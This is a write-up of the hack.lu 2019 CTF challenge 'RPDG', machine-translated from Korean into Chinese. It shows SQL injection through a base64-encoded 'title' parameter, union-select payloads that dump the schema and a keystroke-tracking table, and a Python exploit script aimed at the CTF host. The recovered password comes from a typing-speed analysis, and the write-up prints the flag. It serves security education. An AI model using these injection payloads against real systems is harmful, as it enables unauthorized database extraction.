2019 hack.lu CTF - RPDG Writeup
通过 SQL Injection 和频率分析推测 admin password
本文由 AI 从韩语机器翻译,部分表达可能与原文有所不同。
阅读原文(韩语)[ 概述 ]
首先,这道题属于 WEB+MISC。因为 stage. 1 按 Web 来解,stage. 2 按 MISC 来解。基本上,这是一道通过 sql injection 获取信息,然后根据频率推测出 admin password 的题目。
[ 漏洞 ]

主页面
查看题目页面可以看到一些 YouTube 视频,点击这些视频的预览缩略图时,会通过/open.php?title={Base64 encoded movie name}跳转到 YouTube。对传入的 title 参数进行 base64 decode 后发现它并不是 link 地址,因此可以推测信息被映射在内部数据库中,并且该参数的信息会进入数据库。
因此,对该参数尝试 sql injection 的话,可以像下面这样尝试。(thx to03sunf@defenitandJeonYoungSin@defenit)
/open.php?title=${base64.encode('") union select 1,2,(select database()),4 -- ')}

sql injection vuln!
此外,访问主页面时,会通过tracc.php运行一个键盘记录器(?)

被植入了键盘记录器?
进入主页面后再跳转到其他页面时,会通过/tracc.php,像键盘记录器一样把我输入的按键发送到服务器。
那么现在就用发现的 sqli vuln,像union select 1,2,group_concat(schema_name),4 from information_schema.schemata这样把 db 整个扒出来吧。
查看更多
提取的值
#schema : rpdg#table : culture, tracking#column culture : id, link, title, year#column tracking : id, key, path, timestamp, user
把这些列全部提取出来后发现,tracking 表里的 key 列提取不出来。
union select 1,2,group_concat(x.key),4 from tracking as x(thx toJeonYoungSin@defenit)
全部提取出来后,可以得到如下数据。
#-*-coding:utf-8-*-
import requests
import sys
import random
reload(sys)
sys.setdefaultencoding('utf-8')
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
from urllib import quote
u = 'https://rpdg.fluxfingersforfuture.fluxfingers.net/open.php?title={}'
#schema : rpdg
#table : culture, tracking
#column culture : id, link, title, year
#column tracking : id, kye, path, timestamp, user
s = requests.session()
num = 0
result = ''
t1 = 0
t2 = 0
while 1:
query = "\") union select 1,2,concat(x.key,':',x.timestamp),4 from tracking as x limit {},1 -- x".format(num).encode('base64')
r = s.get(u.format(query), verify=False)
#print dir(r)
if r.status_code==200:
print r.content
elif r.status_code==404:
t = r.url.split('https://rpdg.fluxfingersforfuture.fluxfingers.net/')[1]
t2 = int(t.split(':')[1])
with open('result.txt','a+') as f:
f.write('{}:{}\n'.format(t,t2-t1))
f.close()
t1 = t2
result += t
print '[{}] {}'.format(num,t)
else:
print r.content
num += 1
print result
提取结果
到这里为止是 Web hacking 的范畴,从这之后就是 misc 的范畴了。
中途解题卡住的时候出了一个提示,而那个提示相当关键。
查看更多
HINT: People tend to type key combinations faster if they use them frequently, like in their passwords for example.
一句话概括,就是人在敲打熟悉的单词时,所敲单词字符之间的间隔会更短。把我们通过键盘记录器(?) 提取出来的时间值按 t2-t1 的形式计算出来,就会发现有些字符的敲击间隔在 200ms 以下。
举例来说,假设要敲 "arang" 这个单词,由于我平时经常敲的字符组合是 "arang",那么如果我敲 "language" 这个单词,因为对 arang 中的 ang 很熟悉,所以敲 ang 时会比敲其他英文字母更快。
那么像上面的提取结果那样表示出来,就是
查看更多
l : 420 a : 414 n : 153 g : 148 u : 432 a : 514 g : 394 e : 412
就会是这样的结果。
因此,像这样持续地 tracking 打字习惯的话,
查看更多
gra ple equ wo le ing om ap ms ci suc grap
就会得到这样的组合。
把它像文字接龙那样连起来,就得到womsucingraplequ。
推测这就是 password,用它登录后即可获得 flag。
flag{GDPR_is_here_to_save_y'all}
评论